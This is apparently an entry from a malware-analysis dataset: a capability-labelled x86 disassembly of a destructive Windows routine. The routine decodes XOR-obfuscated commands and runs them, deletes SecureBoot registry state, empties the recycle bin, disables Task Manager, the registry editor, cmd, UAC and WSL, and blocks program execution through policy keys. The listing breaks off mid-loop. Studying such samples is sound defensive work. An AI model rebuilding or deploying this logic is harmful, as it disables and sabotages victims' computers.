Function at 0x472c50
Capabilities:
Contain obfuscated stackstrings
Disable system features via registry on windows
Empty the recycle bin
Encode data using xor
Execute command
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4de4ae
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x850
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0xfffffffffffffff5
call esi
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push eax
call edi
movaps xmm0, xmmword [0x4ffba0]
xor ecx, ecx
movups xmmword [ebp - 0x660], xmm0
mov dword [ebp - 0x600], 0x6c6b6e2d
movaps xmm0, xmmword [0x4ffce0]
movups xmmword [ebp - 0x650], xmm0
mov dword [ebp - 0x5fc], 0x2c333269
movaps xmm0, xmmword [0x501020]
movups xmmword [ebp - 0x640], xmm0
mov dword [ebp - 0x5f8], 0x767a76
movaps xmm0, xmmword [0x500b40]
movups xmmword [ebp - 0x630], xmm0
movaps xmm0, xmmword [0x4ffc70]
movups xmmword [ebp - 0x620], xmm0
movaps xmm0, xmmword [0x501110]
movups xmmword [ebp - 0x610], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x660]
xor byte [ebp + ecx - 0x65f], al
inc ecx
cmp ecx, 0x6a
jb 0x472d20
lea eax, [ebp - 0x65f]
mov byte [ebp - 0x5f5], 0
push eax
lea ecx, [ebp - 0x830]
call fcn.0045bc30
push 1
lea edx, [ebp - 0x830]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1d8]
call fcn.004614a0
add esp, 4
lea ecx, [ebp - 0x830]
mov byte [ebp - 4], 2
call fcn.0045bb10
push 0xb0
lea ecx, [ebp - 0x2d0]
call fcn.00471be0
push 1
push 3
lea eax, [ebp - 0x1d8]
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00482a30
lea ecx, [ebp - 0x220]
call fcn.0045bd70
push 0
push 0xfffffffffffffff5
mov byte [ebp - 4], 4
call esi
push eax
call edi
lea ecx, [ebp - 0x860]
call fcn.00460ba0
mov esi, eax
mov byte [ebp - 4], 5
mov cl, 0x3a
mov byte [ebp - 0x30c], 0x78
mov al, 0x13
xor cl, byte [ebp - 0x30c]
mov dl, 0x14
mov byte [ebp - 0x30b], cl
mov ah, dl
mov cl, byte [ebp - 0x30c]
mov ch, 0x19
xor al, cl
mov byte [ebp - 0x2ff], 0x11
mov byte [ebp - 0x307], al
xor ah, cl
mov al, byte [ebp - 0x2ff]
xor ch, cl
xor al, cl
mov byte [ebp - 0x2fe], 0xb
mov byte [ebp - 0x305], al
mov dh, 0x1b
mov al, byte [ebp - 0x2fe]
xor dl, cl
xor al, cl
mov byte [ebp - 0x2fd], 0xc
mov byte [ebp - 0x304], al
xor dh, cl
mov al, byte [ebp - 0x2fd]
xor al, cl
mov byte [ebp - 0x306], ah
mov byte [ebp - 0x303], al
lea eax, [ebp - 0x30b]
mov byte [ebp - 0x309], ch
lea ecx, [ebp - 0x7e8]
mov byte [ebp - 0x302], 0
push eax
mov byte [ebp - 0x30a], dl
mov byte [ebp - 0x308], dh
mov byte [ebp - 0x302], 0
call fcn.0045bc30
mov byte [ebp - 4], 6
movaps xmm0, xmmword [0x4febd0]
xor ecx, ecx
movups xmmword [ebp - 0x6e0], xmm0
mov dword [ebp - 0x670], 0xd5d0c21
movaps xmm0, xmmword [str.J_a_v_tK]
movups xmmword [ebp - 0x6d0], xmm0
mov dword [ebp - 0x66c], 0x34225308
movaps xmm0, xmmword [0x5007a0]
movups xmmword [ebp - 0x6c0], xmm0
mov word [ebp - 0x668], 0x2d29
movaps xmm0, xmmword [str.VSR_KQS]
movups xmmword [ebp - 0x6b0], xmm0
mov byte [ebp - 0x666], 0
movaps xmm0, xmmword [0x4ff930]
movups xmmword [ebp - 0x6a0], xmm0
movaps xmm0, xmmword [0x4ff070]
movups xmmword [ebp - 0x690], xmm0
movaps xmm0, xmmword [0x500830]
movups xmmword [ebp - 0x680], xmm0
nop
mov al, byte [ebp - 0x6e0]
xor byte [ebp + ecx - 0x6df], al
inc ecx
cmp ecx, 0x79
jb 0x472f00
lea eax, [ebp - 0x6df]
mov byte [ebp - 0x666], 0
push eax
lea ecx, [ebp - 0x848]
call fcn.0045bc30
push esi
lea edx, [ebp - 0x7e8]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x848]
call fcn.00463d80
add esp, 4
lea ecx, [ebp - 0x848]
call fcn.0045bb10
lea ecx, [ebp - 0x7e8]
call fcn.0045bb10
lea ecx, [ebp - 0x860]
mov byte [ebp - 4], 4
call fcn.0045bb10
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
call fcn.00469ce0
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.reg_delete_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecureBootState
call esi
add esp, 4
push str.reg_delete_HKLMSYSTEMCurrentControlSetControlSecureBootState
call esi
add esp, 4
call fcn.00471c60
movups xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]
mov eax, dword [0x4fd0d8]
mov dword [ebp - 0x158], eax
mov eax, dword [0x4fd0e4]
movups xmmword [ebp - 0x190], xmm0
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2f4]
movups xmm0, xmmword [0x4fd0b0]
push eax
push 0xf003f
movups xmmword [ebp - 0x180], xmm0
push 0
movups xmm0, xmmword [0x4fd0c0]
lea eax, [ebp - 0x190]
mov dword [ebp - 0x1a8], 1
push eax
movups xmmword [ebp - 0x170], xmm0
push reloc.WS2_32.dll_accept
movq xmm0, qword [0x4fd0d0]
movq qword [ebp - 0x160], xmm0
movq xmm0, qword [str.DisallowRun]
movq qword [ebp - 0x34], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x473062
push 4
lea eax, [ebp - 0x1a8]
push eax
push 4
push 0
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x2f4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2f4]
call edi
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem]
movzx eax, word [0x4fd120]
mov word [ebp - 0x68], ax
movzx eax, word [0x4fd13c]
movups xmmword [ebp - 0xa0], xmm0
mov word [ebp - 0x4c], ax
movups xmm0, xmmword [0x4fd0f8]
mov al, byte [0x4fd13e]
mov byte [ebp - 0x4a], al
lea eax, [ebp - 0x2f0]
movups xmmword [ebp - 0x90], xmm0
push eax
movups xmm0, xmmword [0x4fd108]
push 0xf003f
push 0
movups xmmword [ebp - 0x80], xmm0
lea eax, [ebp - 0xa0]
mov dword [ebp - 0x1ac], 0
movq xmm0, qword [0x4fd118]
movq qword [ebp - 0x70], xmm0
movups xmm0, xmmword [str.ConsentPromptBehaviorAdmin]
push eax
push reloc.WS2_32.dll_bind
movups xmmword [ebp - 0x64], xmm0
movq xmm0, qword [0x4fd134]
movq qword [ebp - 0x54], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x47311f
push 4
lea eax, [ebp - 0x1ac]
push eax
push 4
push 0
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x2f0]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2f0]
call edi
push str.SOFTWAREPoliciesMicrosoftWindowsSaferCodeIdentifiers0_
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x1b0], 0x40000
call fcn.0045bc30
push str.SaferFlags
lea ecx, [ebp - 0x208]
mov byte [ebp - 4], 8
call fcn.0045bc30
push 0
lea eax, [ebp - 0x2ec]
mov byte [ebp - 4], 9
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea ecx, [ebp - 0x1f0]
call fcn.0045b990
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4731d7
lea ecx, [ebp - 0x208]
call fcn.0045b990
push 4
lea ecx, [ebp - 0x1b0]
push ecx
push 4
push 0
push eax
push dword [ebp - 0x2ec]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.A_execucao_de_aplicativos_foi_desativada_com_sucesso.
test eax, eax
je 0x4731bb
mov edx, str.Erro_ao_definir_o_valor_da_chave_de_registro.
call fcn.00485060
push 0x485030
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0x2ec]
call edi
jmp 0x4731f4
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Erro_ao_criar_a_chave_de_registro.
call fcn.00485060
push 0x485030
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x4fd250]
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer]
mov dword [ebp - 0x11c], eax
mov eax, dword [str.NoRun]
mov dword [ebp - 0x1c], eax
mov ax, word [0x4fd258]
movups xmmword [ebp - 0x154], xmm0
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x2e8]
movups xmm0, xmmword [0x4fd228]
push eax
push 0xf003f
movups xmmword [ebp - 0x144], xmm0
push 0
movups xmm0, xmmword [0x4fd238]
lea eax, [ebp - 0x154]
mov dword [ebp - 0x198], 1
push eax
movups xmmword [ebp - 0x134], xmm0
push reloc.WS2_32.dll_accept
movq xmm0, qword [0x4fd248]
movq qword [ebp - 0x124], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x47329e
push 4
lea eax, [ebp - 0x198]
push eax
push 4
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2e8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2e8]
call edi
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem]
movzx eax, word [0x4fd120]
mov word [ebp - 0xa4], ax
movzx eax, word [0x4fd26c]
movups xmmword [ebp - 0xdc], xmm0
mov word [ebp - 0x38], ax
movups xmm0, xmmword [0x4fd0f8]
mov al, byte [0x4fd26e]
mov byte [ebp - 0x36], al
lea eax, [ebp - 0x2e4]
movups xmmword [ebp - 0xcc], xmm0
push eax
movups xmm0, xmmword [0x4fd108]
push 0xf003f
push 0
movups xmmword [ebp - 0xbc], xmm0
lea eax, [ebp - 0xdc]
mov dword [ebp - 0x194], 1
movq xmm0, qword [0x4fd118]
movq qword [ebp - 0xac], xmm0
movups xmm0, xmmword [str.NoDispSettingsPage]
push eax
push reloc.WS2_32.dll_accept
movups xmmword [ebp - 0x48], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x473357
push 4
lea eax, [ebp - 0x194]
push eax
push 4
push 0
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x2e4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2e4]
call edi
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x1b8], 1
push eax
push 0xf003f
push 0
push str.SoftwarePoliciesMicrosoftWindowsSystem
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea eax, [ebp - 0x1b8]
push eax
push 4
push 0
push str.DisableCMD
push dword [ebp - 0x2d8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4733a9
push dword [ebp - 0x2d8]
call edi
push dword [ebp - 0x2d8]
call edi
push str.O_cmd_foi_desabilitado_com_sucesso.
call fcn.0045f0c0
movups xmm0, xmmword [str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem]
movzx eax, word [0x4fd120]
add esp, 4
mov word [ebp - 0xe0], ax
movzx eax, word [0x4fd2d4]
movups xmmword [ebp - 0x118], xmm0
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x2e0]
movups xmm0, xmmword [0x4fd0f8]
push eax
push 0xf003f
movups xmmword [ebp - 0x108], xmm0
push 0
movups xmm0, xmmword [0x4fd108]
lea eax, [ebp - 0x118]
mov dword [ebp - 0x1bc], 0
push eax
movups xmmword [ebp - 0xf8], xmm0
push reloc.WS2_32.dll_bind
movq xmm0, qword [0x4fd118]
movq qword [ebp - 0xe8], xmm0
movq xmm0, qword [str.EnableLUA]
movq qword [ebp - 0x28], xmm0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x473471
push 4
lea eax, [ebp - 0x1bc]
push eax
push 4
push 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x2e0]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2e0]
call edi
push str.powershell__Command__Disable_WindowsOptionalFeature__Online__FeatureName_Microsoft_Windows_Subsystem_Linux_
call esi
add esp, 4
mov dword [ebp - 0x1c0], 1
lea eax, [ebp - 0x2fc]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4734cd
push 4
lea eax, [ebp - 0x1c0]
push eax
push 4
push 0
push str.DisableRegistryTools
push dword [ebp - 0x2fc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2fc]
call edi
lea eax, [ebp - 0x2f8]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x47351f
push 4
lea eax, [ebp - 0x19c]
mov dword [ebp - 0x19c], 1
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x2f8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x2f8]
call edi
push 3
push 0
push 1
push 0x61
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
lea eax, [ebp - 0x2d4]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4735a7
push 4
lea eax, [ebp - 0x1b4]
mov dword [ebp - 0x1b4], 1
push eax
push 4
push 0
push str.DisallowRun
push dword [ebp - 0x2d4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x47359f
mov dword [ebp - 0x1a4], eax
lea eax, [ebp - 0x1a4]
push eax
push 0
push 0
push 0
push str.DisallowRun
push dword [ebp - 0x2d4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x2d4]
call edi
movaps xmm0, xmmword [0x500e40]
xor ecx, ecx
movups xmmword [ebp - 0x39c], xmm0
mov dword [ebp - 0x38c], 0x787b7b40
mov word [ebp - 0x388], 0x67
nop word [eax + eax]
mov al, byte [ebp - 0x39c]
xor byte [ebp + ecx - 0x39b], al
inc ecx
cmp ecx, 0x14
jb 0x4735d0
lea eax, [ebp - 0x2dc]
mov byte [ebp - 0x387], 0
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.WS2_32.dll_accept
mov dword [ebp - 0x1a0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 4
lea eax, [ebp - 0x1a0]
push eax
push 4
push 0
lea eax, [ebp - 0x39b]
push eax
push dword [ebp - 0x2dc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x47363e
push dword [ebp - 0x2dc]
call edi
push dword [ebp - 0x2dc]
call edi
movaps xmm0, xmmword [0x4ff020]
xor ecx, ecx
movups xmmword [ebp - 0x570], xmm0
mov dword [ebp - 0x520], 0x4c534252
movaps xmm0, xmmword [0x4fffe0]
movups xmmword [ebp - 0x560], xmm0
mov dword [ebp - 0x51c], 0x4c514c50
movaps xmm0, xmmword [0x4ff000]
movups xmmword [ebp - 0x550], xmm0
mov word [ebp - 0x518], 0x56
movaps xmm0, xmmword [0x500790]
movups xmmword [ebp - 0x540], xmm0
movaps xmm0, xmmword [0x500490]
movups xmmword [ebp - 0x530], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x570]
xor byte [ebp + ecx - 0x56f], al
inc ecx
cmp ecx, 0x58
jb 0x4736b0
lea eax, [ebp - 0x56f]
mov byte [ebp - 0x517], 0
push eax
call esi
movaps xmm0, xmmword [0x500d30]
add esp, 4
movups xmmword [ebp - 0x50c], xmm0
xor ecx, ecx
mov byte [ebp - 0x4ec], 0
movaps xmm0, xmmword [0x501240]
movups xmmword [ebp - 0x4fc], xmm0
nop dword [eax + eax]
mov al, byte [ebp - 0x50c]
xor byte [ebp + ecx - 0x50b], al
inc ecx
cmp ecx, 0x1f
jb 0x473700
lea eax, [ebp - 0x50b]
mov byte [ebp - 0x4ec], 0
push eax
call esi
movaps xmm0, xmmword [0x4ff7b0]
add esp, 4
movups xmmword [ebp - 0x590], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4febf0]
movups xmmword [ebp - 0x580], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x590]
xor byte [ebp + ecx - 0x58f], al
inc ecx
cmp ecx, 0x1e
jb 0x473750
lea eax, [ebp - 0x58f]
mov byte [ebp - 0x571], 0
push eax
call esi
movaps xmm0, xmmword [0x5011d0]
add esp, 4
movups xmmword [ebp - 0x5b0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [str._pawvkv3_3f]
movups xmmword [ebp - 0x5a0], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x5b0]
xor byte [ebp + ecx - 0x5af], al
inc ecx
cmp ecx, 0x1e
jb 0x4737a0
lea eax, [ebp - 0x5af]
mov byte [ebp - 0x591], 0
push eax
call esi
movaps xmm0, xmmword [0x4fffb0]
add esp, 4
movups xmmword [ebp - 0x32c], xmm0
mov dword [ebp - 0x31c], 0x5735c58
xor ecx, ecx
mov dword [ebp - 0x318], 0x110f0501
mov dword [ebp - 0x314], 0x435a410f
mov byte [ebp - 0x310], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x32c]
xor byte [ebp + ecx - 0x32b], al
inc ecx
cmp ecx, 0x1b
jb 0x473800
lea eax, [ebp - 0x32b]
mov byte [ebp - 0x310], 0
push eax
call esi
movaps xmm0, xmmword [0x4ff0d0]
add esp, 4
movups xmmword [ebp - 0x3e0], xmm0
xor ecx, ecx
mov dword [ebp - 0x3c0], 0x2509160d
movaps xmm0, xmmword [str.__f_n]
movups xmmword [ebp - 0x3d0], xmm0
mov dword [ebp - 0x3bc], 0x59535753
mov dword [ebp - 0x3b8], 0xc175947
mov word [ebp - 0x3b4], 0x15
nop dword [eax + eax]
mov al, byte [ebp - 0x3e0]
xor byte [ebp + ecx - 0x3df], al
inc ecx
cmp ecx, 0x2c
jb 0x473870
lea eax, [ebp - 0x3df]
mov byte [ebp - 0x3b3], 0
push eax
call esi
movaps xmm0, xmmword [0x4ff090]
add esp, 4
movups xmmword [ebp - 0x710], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4ff3c0]
movups xmmword [ebp - 0x700], xmm0
movaps xmm0, xmmword [0x4febe0]
movups xmmword [ebp - 0x6f0], xmm0
mov al, byte [ebp - 0x710]
xor byte [ebp + ecx - 0x70f], al
inc ecx
cmp ecx, 0x2e
jb 0x4738c2
lea eax, [ebp - 0x70f]
mov byte [ebp - 0x6e1], 0
push eax
call esi
movaps xmm0, xmmword [0x5010a0]
add esp, 4
movups xmmword [ebp - 0x740], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x500fe0]
movups xmmword [ebp - 0x730], xmm0
movaps xmm0, xmmword [str.kchruZ___8hsj]
movups xmmword [ebp - 0x720], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x740]
xor byte [ebp + ecx - 0x73f], al
inc ecx
cmp ecx, 0x2e
jb 0x473920
lea eax, [ebp - 0x73f]
mov byte [ebp - 0x711], 0
push eax
call esi
movaps xmm0, xmmword [0x500ac0]
add esp, 4
movups xmmword [ebp - 0x410], xmm0
xor ecx, ecx
mov dword [ebp - 0x3f0], 0x714c594c
movaps xmm0, xmmword [0x500d40]
movups xmmword [ebp - 0x400], xmm0
mov dword [ebp - 0x3ec], 0xd070307
mov dword [ebp - 0x3e8], 0x58430d13
mov word [ebp - 0x3e4], 0x41
nop dword [eax + eax]
mov al, byte [ebp - 0x410]
xor byte [ebp + ecx - 0x40f], al
inc ecx
cmp ecx, 0x2c
jb 0x473990
lea eax, [ebp - 0x40f]
mov byte [ebp - 0x3e3], 0
push eax
call esi
movaps xmm0, xmmword [0x500db0]
add esp, 4
movups xmmword [ebp - 0x368], xmm0
mov dword [ebp - 0x358], 0x7f616b6f
xor ecx, ecx
mov dword [ebp - 0x354], 0x2d342f61
mov byte [ebp - 0x350], 0
mov al, byte [ebp - 0x368]
xor byte [ebp + ecx - 0x367], al
inc ecx
cmp ecx, 0x17
jb 0x4739e1
lea eax, [ebp - 0x367]
mov byte [ebp - 0x350], 0
push eax
call esi
movaps xmm0, xmmword [0x501250]
add esp, 4
movups xmmword [ebp - 0x5d0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [str.upep4M___1_1]
movups xmmword [ebp - 0x5c0], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x5d0]
xor byte [ebp + ecx - 0x5cf], al
inc ecx
cmp ecx, 0x1e
jb 0x473a30
lea eax, [ebp - 0x5cf]
mov byte [ebp - 0x5b1], 0
push eax
call esi
movaps xmm0, xmmword [0x5012f0]
add esp, 4
movups xmmword [ebp - 0x4c0], xmm0
xor ecx, ecx
mov dword [ebp - 0x4a0], 0x647f312f
movaps xmm0, xmmword [0x4ffc90]
movups xmmword [ebp - 0x4b0], xmm0
mov word [ebp - 0x49c], 0x7d
nop word [eax + eax]
mov al, byte [ebp - 0x4c0]
xor byte [ebp + ecx - 0x4bf], al
inc ecx
cmp ecx, 0x24
jb 0x473a90
lea eax, [ebp - 0x4bf]
mov byte [ebp - 0x49b], 0
push eax
call esi
movaps xmm0, xmmword [0x500be0]
add esp, 4
movups xmmword [ebp - 0x484], xmm0
mov word [ebp - 0x474], 0x74
xor ecx, ecx
nop
mov al, byte [ebp - 0x484]
xor byte [ebp + ecx - 0x483], al
inc ecx
cmp ecx, 0x10
jb 0x473ad0
lea eax, [ebp - 0x483]
mov byte [ebp - 0x473], 0
push eax
call esi
movaps xmm0, xmmword [0x500c90]
add esp, 4
movups xmmword [ebp - 0x3b0], xmm0
mov dword [ebp - 0x3a0], 0x2d302d
xor ecx, ecx
mov al, byte [ebp - 0x3b0]
xor byte [ebp + ecx - 0x3af], al
inc ecx
cmp ecx, 0x12
jb 0x473b10
lea eax, [ebp - 0x3af]
mov byte [ebp - 0x39d], 0
push eax
lea ecx, [ebp - 0x818]
call fcn.0045bc30
mov byte [ebp - 4], 0xa
xor ecx, ecx
movaps xmm0, xmmword [0x4ffeb0]
movups xmmword [ebp - 0x498], xmm0
mov byte [ebp - 0x488], 0
nop word [eax + eax]
mov al, byte [ebp - 0x498]
xor byte [ebp + ecx - 0x497], al
inc ecx
cmp ecx, 0xf
jb 0x473b60
lea eax, [ebp - 0x497]
mov byte [ebp - 0x488], 0
push eax
lea ecx, [ebp - 0x800]
call fcn.0045bc30
lea eax, [ebp - 0x818]
mov byte [ebp - 4], 0xb
push eax
lea edx, [ebp - 0x800]
lea ecx, [ebp - 0x1d8]
call fcn.00460bc0
add esp, 4
lea ecx, [ebp - 0x800]
call fcn.0045bb10
lea ecx, [ebp - 0x818]
call fcn.0045bb10
movaps xmm0, xmmword [0x4ff910]
xor ecx, ecx
movups xmmword [ebp - 0x770], xmm0
movaps xmm0, xmmword [0x4ff680]
movups xmmword [ebp - 0x760], xmm0
movaps xmm0, xmmword [str.9723_x3.3vhv8:]
movups xmmword [ebp - 0x750], xmm0
nop dword [eax]
mov al, byte [ebp - 0x770]
xor byte [ebp + ecx - 0x76f], al
inc ecx
cmp ecx, 0x2e
jb 0x473bf0
lea eax, [ebp - 0x76f]
mov byte [ebp - 0x741], 0
push eax
call esi
movaps xmm0, xmmword [0x500c20]
add esp, 4
movups xmmword [ebp - 0x34c], xmm0
mov dword [ebp - 0x33c], 0x2157787c
xor ecx, ecx
mov dword [ebp - 0x338], 0x352b2125
mov dword [ebp - 0x334], 0x677e652b
mov byte [ebp - 0x330], 0
nop dword [eax + eax]
mov al, byte [ebp - 0x34c]
xor byte [ebp + ecx - 0x34b], al
inc ecx
cmp ecx, 0x1b
jb 0x473c50
lea eax, [ebp - 0x34b]
mov byte [ebp - 0x330], 0
push eax
call esi
movaps xmm0, xmmword [0x500420]
add esp, 4
movups xmmword [ebp - 0x440], xmm0
xor ecx, ecx
mov dword [ebp - 0x420], 0x6448574c
movaps xmm0, xmmword [0x500770]
movups xmmword [ebp - 0x430], xmm0
mov dword [ebp - 0x41c], 0x18121612
mov dword [ebp - 0x418], 0x4d561806
mov word [ebp - 0x414], 0x54
nop dword [eax + eax]
mov al, byte [ebp - 0x440]
xor byte [ebp + ecx - 0x43f], al
inc ecx
cmp ecx, 0x2c
jb 0x473cc0
lea eax, [ebp - 0x43f]
mov byte [ebp - 0x413], 0
push eax
call esi
movaps xmm0, xmmword [0x500d00]
add esp, 4
movups xmmword [ebp - 0x7a0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x501090]
movups xmmword [ebp - 0x790], xmm0
movaps xmm0, xmmword [0x4fed80]
movups xmmword [ebp - 0x780], xmm0
mov al, byte [ebp - 0x7a0]
xor byte [ebp + ecx - 0x79f], al
inc ecx
cmp ecx, 0x2e
jb 0x473d12
lea eax, [ebp - 0x79f]
mov byte [ebp - 0x771], 0
push eax
call esi
movaps xmm0, xmmword [str._fhi___O6PY]
add esp, 4
movups xmmword [ebp - 0x7d0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x501190]
movups xmmword [ebp - 0x7c0], xmm0
movaps xmm0, xmmword [str.aibx]
movups xmmword [ebp - 0x7b0], xmm0
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp - 0x7d0]
xor byte [ebp + ecx - 0x7cf], al
inc ecx
cmp ecx, 0x2e
jb 0x473d70
lea eax, [ebp - 0x7cf]
mov byte [ebp - 0x7a1], 0
push eax
call esi
movaps xmm0, xmmword [0x4ffa70]
add esp, 4
movups xmmword [ebp - 0x470], xmm0
xor ecx, ecx
mov dword [ebp - 0x450], 0x9342134
movaps xmm0, xmmword [str._tp_0_480p_t]
movups xmmword [ebp - 0x460], xmm0
mov dword [ebp - 0x44c], 0x757f7b7f
mov dword [ebp - 0x448], 0x203b756b
mov word [ebp - 0x444], 0x39
nop dword [eax + eax]
mov al, byte [ebp - 0x470]
xor byte [ebp + ecx - 0x46f], al
inc ecx
cmp ecx, 0x2c
jb 0x473de0
lea eax, [ebp - 0x46f]
mov byte [ebp - 0x443], 0
push eax
call esi
movaps xmm0, xmmword [str.7SR_]
add esp, 4
movups xmmword [ebp - 0x384], xmm0
mov dword [ebp - 0x374], 0x9171d19
xor ecx, ecx
mov dword [ebp - 0x370], 0x5b425917
mov byte [ebp - 0x36c], 0
mov al, byte [ebp - 0x384]
xor byte [ebp + ecx - 0x383], al
inc ecx
cmp ecx, 0x17
jb 0x473e31
lea eax, [ebp - 0x383]
mov byte [ebp - 0x36c], 0
push eax
call esi
movaps xmm0, xmmword [0x4ffde0]
add esp, 4
movups xmmword [ebp - 0x5f0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [str.05_5q_bztjt:_8]
movups xmmword [ebp - 0x5e0], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x5f0]
xor byte [ebp + ecx - 0x5ef], al
inc ecx
cmp ecx, 0x1e
jb 0x473e80
lea eax, [ebp - 0x5ef]
mov byte [ebp - 0x5d1], 0
push eax
call esi
movaps xmm0, xmmword [0x5004e0]
add esp, 4
movups xmmword [ebp - 0x4e8], xmm0
xor ecx, ecx
mov dword [ebp - 0x4c8], 0x574c021c
movaps xmm0, xmmword [str.UQq_QVGO]
movups xmmword [ebp - 0x4d8], xmm0
mov word [ebp - 0x4c4], 0x4e
nop word [eax + eax]
mov al, byte [ebp - 0x4e8]
xor byte [ebp + ecx - 0x4e7], al
inc ecx
cmp ecx, 0x24
